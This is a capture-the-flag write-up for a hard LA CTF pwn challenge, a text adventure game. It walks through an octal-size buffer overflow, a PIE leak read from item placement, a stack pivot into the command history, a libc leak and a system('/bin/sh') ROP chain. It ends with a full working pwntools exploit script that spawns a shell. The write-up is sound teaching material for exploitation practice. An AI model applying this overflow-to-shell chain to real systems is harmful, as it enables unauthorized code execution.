Adventure

LACTFby smothy

Adventure in the Dark Maze - LA CTF PWN Writeup

Category: PWN Difficulty: Hard Points: 350 Solves: 10 Flag: lactf{Th3_835T_345T3r_399_i5_4_fl49} Solved by: Smothy @ 0xN1umb


Hackerman

"I came for the adventure, stayed for the 7-phase ROP chain"


Challenge Description

Thanks for playing my game! nc chall.lac.tf 31337

A text adventure game where you explore a 16x16 dungeon, collect items (Sword, Shield, Potion, Key, Scroll, Amulet, Crown, Flag), and try to escape. When you pick up the Flag, it asks for a password. Sounds innocent enough... except the password buffer is criminally undersized and the game board literally encodes the binary's own address into item positions. This is a full PIE bypass + libc leak + double-overflow chain disguised as a dungeon crawler. 10 solves says it all.

TL;DR

Exploit a buffer overflow in the password prompt to leak PIE via game mechanics, pivot the stack to the history buffer for a fgets arbitrary write, leak libc through a printf format trick, restart the game, then overflow again for shell. Seven phases of pain condensed into 400 lines of Python. Binary go brrr.

Initial Recon

Files provided: chall (ELF 64-bit), chall.c (source code), Dockerfile (Ubuntu Noble + pwn.red/jail).

First things first - checksec:

Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled

Full RELRO + PIE + NX. No canary though - that's our way in. The Dockerfile tells us Ubuntu Noble (24.04) with glibc 2.39.

The game is simple: move around with n/s/e/w, look around, grab items, check inventory. Standard dungeon crawler vibes. But under the hood...

Step 1: The Vulnerability

The bug is deceptively subtle if you don't know C octal literals:

c
void check_flag_password(void) {
    char password[0020];  // OCTAL! 0020 = 16 bytes
    // ...
    if (fgets(password, 0x20, stdin) == NULL) {  // HEX! 0x20 = 32 bytes

0020 in C is octal = 16 bytes. But fgets reads 0x20 = 32 bytes. That's a 16-byte overflow past the buffer: 8 bytes for saved RBP + 7 usable bytes for the return address (null-terminated by fgets).

The constraint: We only control 7 bytes of the return address + the full saved RBP. With PIE enabled, we can't just jump anywhere - we need a leak first.

Step 2: PIE Leak via Game Mechanics

This is where it gets clever. The init_board() function places items based on main()'s address:

c
void init_board(void) {
    unsigned long addr = (unsigned long)main;
    unsigned char *bytes = (unsigned char *)&addr;
    for (int i = NUM_ITEMS - 1; i >= 0; i--) {
        int x = (bytes[i] >> 4) & 0x0F;
        int y = bytes[i] & 0x0F;
        // collision resolution...
        board[y][x] = i + 1;
    }
}

Each byte of main()'s address determines where an item is placed on the 16x16 grid. The high nibble becomes X, low nibble becomes Y. By finding all 8 items on the board, we can reconstruct the full address of main() and calculate PIE base.

The explore function does a snake traversal across the entire board:

python
for row in range(BOARD_SIZE):
    direction = 'e' if row % 2 == 0 else 'w'
    for col in range(BOARD_SIZE - 1):
        resp = send_cmd(p, direction)
        # check for item names in response

There's a catch: collisions. When two items hash to the same cell, the later one shifts right/down. We brute-force the ambiguous bytes to resolve these. After ~255 moves of exploration, we have the PIE base.

Step 3: The Stack Pivot Problem

With PIE leaked, we know where everything is. But we only have 7 bytes of return address control. There's no pop rdi; ret gadget in the small binary. We can't do a standard ROP chain in a single overflow.

The key insight: the history buffer in BSS stores every command we type (8 bytes each, 300 entries). We can pre-load ROP gadget addresses as game commands, then pivot the stack to the history buffer.

Stack: [password buf][saved rbp -> history][leave;ret] | v History: [junk][pop_rbp;ret][target+0x10][fgets_seq][safe stack...]

The leave; ret instruction does mov rsp, rbp; pop rbp - giving us a stack pivot to anywhere we control RBP.

Step 4: The 7-Phase Exploit Chain

This is where things get spicy. The exploit runs through 7 phases:

Phase 0: Explore Board -> PIE Leak

Snake-traverse the 16x16 board, find all items, reconstruct main() address.

Phase 1: Write ROP Chain to History

Write 8 carefully crafted addresses as "game commands":

python
send_addr(p, 0)                  # junk (popped into rbp)
send_addr(p, pop_rbp_ret)        # set rbp for fgets target
send_addr(p, last_item_a + 0x10) # fgets writes to [rbp-0x10] = last_item
send_addr(p, fgets_seq)          # call fgets(last_item, 0x20, stdin)
send_addr(p, 0)                  # safe stack junk
send_addr(p, pop_rbp_ret)        # set rbp for game loop
send_addr(p, desired_rbp)        # rbp for main's stack frame
send_addr(p, game_restart)       # reinit board + game loop

Phase 2: Navigate to Flag

Walk back to (0,0) where the Flag item spawns.

Phase 3: First Overflow

Grab the Flag, trigger password prompt, overflow:

python
payload1 = b'A' * 16                    # fill password buffer
payload1 += p64(pivot_addr)             # saved rbp -> history ROP
payload1 += p64(leave_ret)[:7]          # ret -> leave;ret pivot

This pivots to our ROP chain in history. The chain calls fgets() which reads our next input into the last_item global variable.

Phase 4: Overwrite last_item + Return to Game

The fgets write overwrites last_item pointer with GOT_puts address, then chains back to the game loop via the safe stack entries:

python
payload2 = p64(got_puts)               # overwrite last_item -> GOT_puts
payload2 += p64(0)                     # padding
payload2 += p64(safe_stack_addr)       # saved rbp -> safe stack
payload2 += p64(leave_ret)[:7]         # leave;ret chain continues

Phase 5: Leak libc via Inventory

Now last_item points to GOT_puts which contains the libc address of puts(). When we type inv, the inventory display does:

c
printf("  ║  %2d,%2d %d/%d %3d/%3d %-6s   ║\n",
       player_x, player_y, item_count, NUM_ITEMS,
       move_count, MAX_MOVES, last_item);  // <-- leaks GOT_puts bytes!

The %-6s format reads bytes from GOT_puts, giving us the raw libc address. Parse it out, subtract the known offset of puts, and we have libc base.

Phase 6: Write Libc ROP Chain

With libc leaked, write the final ROP chain to history:

python
send_addr(p, 0)              # junk
send_addr(p, libc_pop_rdi)   # pop rdi; ret
send_addr(p, libc_binsh)     # "/bin/sh"
if rop2_start % 2 == 0:
    send_addr(p, ret_gadget) # alignment (conditional!)
send_addr(p, libc_system)    # system("/bin/sh")

Phase 7: Second Overflow -> Shell

The board was reinitialized by game_restart, so the Flag is back at (0,0). Grab it again, overflow again, pivot to the libc ROP chain. Shell.

$ id uid=1000(user) gid=1000(user) groups=1000(user) $ cat /app/flag.txt lactf{Th3_835T_345T3r_399_i5_4_fl49}

The Flag

lactf{Th3_835T_345T3r_399_i5_4_fl49}

Decoded: "The best easter egg is a flag" - because the password prompt's easter egg was easter_egg, but the real flag was the shell we popped along the way.

The Solve Script

python
#!/usr/bin/env python3
"""
Adventure in the Dark Maze - LA CTF PWN Exploit
7-phase exploit: PIE leak -> stack pivot -> fgets write -> libc leak -> shell
Smothy @ 0xN1umb
"""
from pwn import *

context.binary = ELF('./chall')
context.log_level = 'info'

# Offsets from PIE base
MAIN          = 0x1adf
HISTORY       = 0x40a0
LAST_ITEM     = 0x4020
GOT_PUTS      = 0x3f98
LEAVE_RET     = 0x14b7
POP_RBP_RET   = 0x1233
RET           = 0x101a
FGETS_SEQ     = 0x164d
GAME_RESTART  = 0x1b18

# Libc offsets (Ubuntu Noble 24.04 glibc 2.39)
LIBC_PUTS      = 0x87be0
LIBC_SYSTEM    = 0x58750
LIBC_BINSH     = 0x1cb42f
LIBC_POP_RDI   = 0x10f78b

BOARD_SIZE = 16
NUM_ITEMS = 8
ITEM_NAMES = ["Sword","Shield","Potion","Key","Scroll","Amulet","Crown","Flag"]

def conn():
    if args.LOCAL:
        return process('./chall')
    elif args.DOCKER:
        return remote('localhost', 5000)
    else:
        return remote('chall.lac.tf', 31337)

move_count = 0

def send_cmd(p, cmd):
    global move_count
    p.sendline(cmd.encode() if isinstance(cmd, str) else cmd)
    move_count += 1
    return p.recvuntil(b'> ', timeout=8)

def has_bad_byte(addr):
    raw = p64(addr)
    null_pos = raw.find(b'\x00')
    if null_pos <= 0:
        return False
    return b'\x0a' in raw[:null_pos]

def send_addr(p, addr):
    global move_count
    raw = p64(addr)
    null_pos = raw.find(b'\x00')
    if null_pos <= 0:
        p.send(raw[:1] + b'\n')
    else:
        payload = raw[:null_pos]
        p.send(payload + b'\n')
    move_count += 1
    return p.recvuntil(b'> ', timeout=8)

def explore_board(p):
    items = {}
    resp = send_cmd(p, 'look')
    for name in ITEM_NAMES:
        if name.encode() in resp and (b'glimmering' in resp or b'spot' in resp):
            items[name] = (0, 0)
    x, y = 0, 0
    for row in range(BOARD_SIZE):
        if row > 0:
            resp = send_cmd(p, 's')
            y += 1
            for name in ITEM_NAMES:
                if name.encode() in resp and b'spot' in resp:
                    items[name] = (x, y)
        direction = 'e' if row % 2 == 0 else 'w'
        for col in range(BOARD_SIZE - 1):
            resp = send_cmd(p, direction)
            x += (1 if direction == 'e' else -1)
            for name in ITEM_NAMES:
                if name.encode() in resp and b'spot' in resp:
                    items[name] = (x, y)
        if len(items) == NUM_ITEMS:
            break
    return items, (x, y)

def reconstruct_pie_base(items):
    addr_bytes = [0] * 8
    addr_bytes[0] = 0xdf
    addr_bytes[6] = 0
    addr_bytes[7] = 0
    for i in range(1, 6):
        name = ITEM_NAMES[i]
        if name in items:
            x, y = items[name]
            addr_bytes[i] = (x << 4) | y
    # Verify + collision brute force
    board = [[0]*16 for _ in range(16)]
    for i in range(NUM_ITEMS - 1, -1, -1):
        bx = (addr_bytes[i] >> 4) & 0xF
        by = addr_bytes[i] & 0xF
        while board[by][bx] != 0:
            bx = (bx + 1) % 16
            if bx == 0:
                by = (by + 1) % 16
        board[by][bx] = i + 1
        name = ITEM_NAMES[i]
        if name in items:
            if (bx, by) != items[name]:
                for b in range(256):
                    addr_bytes[i] = b
                    tboard = [[0]*16 for _ in range(16)]
                    ok = True
                    for j in range(NUM_ITEMS - 1, -1, -1):
                        tx = (addr_bytes[j] >> 4) & 0xF
                        ty = addr_bytes[j] & 0xF
                        while tboard[ty][tx] != 0:
                            tx = (tx + 1) % 16
                            if tx == 0:
                                ty = (ty + 1) % 16
                        tboard[ty][tx] = j + 1
                        if ITEM_NAMES[j] in items:
                            if j >= i and (tx, ty) != items[ITEM_NAMES[j]]:
                                ok = False
                                break
                    if ok:
                        board = tboard
                        break
    main_addr = int.from_bytes(bytes(addr_bytes), 'little')
    pie_base = main_addr - MAIN
    log.success(f"PIE base @ {hex(pie_base)}")
    return pie_base

def exploit():
    global move_count
    move_count = 0
    p = conn()
    p.recvuntil(b'> ', timeout=10)

    # Phase 0: Explore
    items, (cur_x, cur_y) = explore_board(p)
    pie_base = reconstruct_pie_base(items)

    hist_addr    = pie_base + HISTORY
    leave_ret    = pie_base + LEAVE_RET
    pop_rbp_ret  = pie_base + POP_RBP_RET
    ret_gadget   = pie_base + RET
    fgets_seq    = pie_base + FGETS_SEQ
    game_restart = pie_base + GAME_RESTART
    last_item_a  = pie_base + LAST_ITEM
    got_puts     = pie_base + GOT_PUTS

    # Check for 0x0a in ASLR bytes
    for a in [pop_rbp_ret, leave_ret, fgets_seq, game_restart, last_item_a + 0x10, got_puts]:
        if has_bad_byte(a):
            p.close()
            return False

    desired_rbp = pie_base + 0x41a0

    # Phase 1: Write ROP to history
    rop_start = move_count
    send_addr(p, 0)
    send_addr(p, pop_rbp_ret)
    send_addr(p, last_item_a + 0x10)
    send_addr(p, fgets_seq)
    send_addr(p, 0)
    send_addr(p, pop_rbp_ret)
    send_addr(p, desired_rbp)
    send_addr(p, game_restart)

    pivot_addr = hist_addr + rop_start * 8
    safe_stack_addr = hist_addr + (rop_start + 4) * 8

    # Phase 2: Navigate to (0,0)
    for _ in range(cur_x): send_cmd(p, 'w')
    for _ in range(cur_y): send_cmd(p, 'n')

    # Phase 3: First overflow
    p.sendline(b'grab')
    move_count += 1
    p.recvuntil(b'Password: ', timeout=10)
    payload1 = b'A' * 16 + p64(pivot_addr) + p64(leave_ret)[:7]
    p.send(payload1)
    sleep(0.5)

    # Phase 4: fgets write -> overwrite last_item
    payload2 = p64(got_puts) + p64(0) + p64(safe_stack_addr) + p64(leave_ret)[:7]
    p.send(payload2)

    # Phase 5: Leak libc
    p.recvuntil(b'> ', timeout=15)
    p.sendline(b'inv')
    move_count += 1
    resp = p.recvuntil(b'> ', timeout=10)

    for line in resp.split(b'\n'):
        if b'/8' in line and b'/300' in line:
            leak_line = line
            break
    else:
        p.interactive()
        return True

    idx = leak_line.rfind(b'/300')
    after = leak_line[idx+4:]
    if after[:1] == b' ': after = after[1:]
    end = after.find(b'\xe2\x95\x91')
    leak_raw = after[:end].rstrip(b' ')
    leaked_puts = u64(leak_raw.ljust(8, b'\x00'))
    libc_base = leaked_puts - LIBC_PUTS

    if libc_base & 0xFFF != 0:
        p.interactive()
        return True

    libc_system  = libc_base + LIBC_SYSTEM
    libc_binsh   = libc_base + LIBC_BINSH
    libc_pop_rdi = libc_base + LIBC_POP_RDI

    for name, addr in [("pop_rdi", libc_pop_rdi), ("binsh", libc_binsh), ("system", libc_system)]:
        if has_bad_byte(addr):
            p.close()
            return False

    # Phase 6: Libc ROP chain
    rop2_start = move_count
    send_addr(p, 0)
    send_addr(p, libc_pop_rdi)
    send_addr(p, libc_binsh)
    if rop2_start % 2 == 0:
        send_addr(p, ret_gadget)
    send_addr(p, libc_system)

    rop2_pivot = hist_addr + rop2_start * 8

    # Phase 7: Second overflow -> shell
    p.sendline(b'grab')
    move_count += 1
    p.recvuntil(b'Password: ', timeout=10)
    payload3 = b'B' * 16 + p64(rop2_pivot) + p64(leave_ret)[:7]
    p.send(payload3)

    log.success("Shell incoming!")
    sleep(1)
    p.sendline(b'cat /app/flag.txt 2>/dev/null; cat flag.txt 2>/dev/null')
    sleep(0.5)
    p.sendline(b'echo "FLAG_END"')
    try:
        output = p.recvuntil(b'FLAG_END', timeout=10)
        log.success(f"Output:\n{output.decode(errors='replace')}")
    except Exception:
        output = p.recv(timeout=5)
        log.success(f"Output:\n{output.decode(errors='replace')}")
    p.interactive()
    return True

def main():
    for attempt in range(10):
        log.info(f"=== Attempt {attempt + 1} ===")
        try:
            if exploit():
                return
        except Exception as e:
            log.error(f"Attempt failed: {e}")
    log.error("All attempts failed!")

if __name__ == '__main__':
    main()

The Graveyard of Failed Attempts

1. The 0x0a Byte Nightmare

The address main = PIE + 0x1adf. When ASLR gives a PIE base where byte 1 ends up as 0x0a (newline), fgets() stops reading and our address gets truncated. Initial exploit used main as the return target from the first overflow.

Fix: Replaced main (0x1adf) with GAME_RESTART (0x1b18) - an offset where byte 1 is always 0x1b, never 0x0a. As a bonus, GAME_RESTART calls init_board() which re-places all items including the Flag, so we can grab it again for the second overflow. Two birds, one gadget.

2. Junk ROP Entries Breaking History Alignment

Initially used p64(0x4141414141414141) as junk entries. But 7 non-null bytes means fgets reads all 7 without consuming the trailing newline, leaving \n in stdin which creates an extra empty command. This shifted all subsequent history entries by one, destroying ROP chain alignment.

Fix: Changed junk to p64(0) - null at byte 0 means fgets reads just 1 byte plus null-terminates. Clean, predictable.

3. Stack Alignment Crash After Getting Shell

Shell spawned but immediately crashed. system() requires rsp % 16 == 8 at function entry (x86-64 ABI). The ret gadget for alignment was unconditionally included, but depending on rop2_start parity, this either helped or broke alignment.

Fix: Made ret gadget conditional on rop2_start % 2 == 0. When rop2_start is odd, the natural stack position already satisfies alignment. When even, we need the extra ret to adjust.

4. Output Not Captured

First successful shell: flag was printed but p.interactive() with timeout didn't capture it properly.

Fix: Added explicit sleep() + echo "FLAG_END" sentinel with p.recvuntil() for reliable output parsing.

Key Takeaways

  1. Octal literals in C are a classic CTF trap. 0020 != 20. Always double-check buffer sizes.
  2. Game mechanics as information oracles. The board placement algorithm turns ASLR-randomized addresses into observable game state. Creative challenge design.
  3. BSS buffers are underrated for ROP. The history array gave us 300 * 8 = 2400 bytes of controlled data at a known address - perfect for stack pivots and multi-stage chains.
  4. The leave; ret gadget is incredibly powerful when you control RBP. It's essentially a stack pivot primitive: mov rsp, rbp; pop rbp; ret.
  5. When you can call fgets with controlled arguments, you have an arbitrary write primitive. This turned a limited overflow into full control.
  6. Stack alignment matters. On x86-64, system() (and most libc functions using SSE) need 16-byte stack alignment. Always account for this in ROP chains.
  7. The 0x0a problem is real. Any exploit that sends addresses through fgets/scanf/line-based I/O must handle the newline byte. Either avoid it via offset selection, or retry with different ASLR layouts.
  8. Multi-stage exploits need careful state management. Returning to the game loop cleanly (with correct RBP!) to set up the second overflow was the hardest part.

Tools Used

  • pwntools - Exploit development framework
  • objdump - Disassembly and offset verification
  • checksec - Binary protection analysis
  • Docker - Local testing with identical libc
  • Python 3 - Solve script
  • matplotlib - Writeup screenshots (you're looking at them)
  • Way too much caffeine

Writeup by Smothy from 0xN1umb team. 350 points and 10 solves - this one earned every byte of that shell. GG.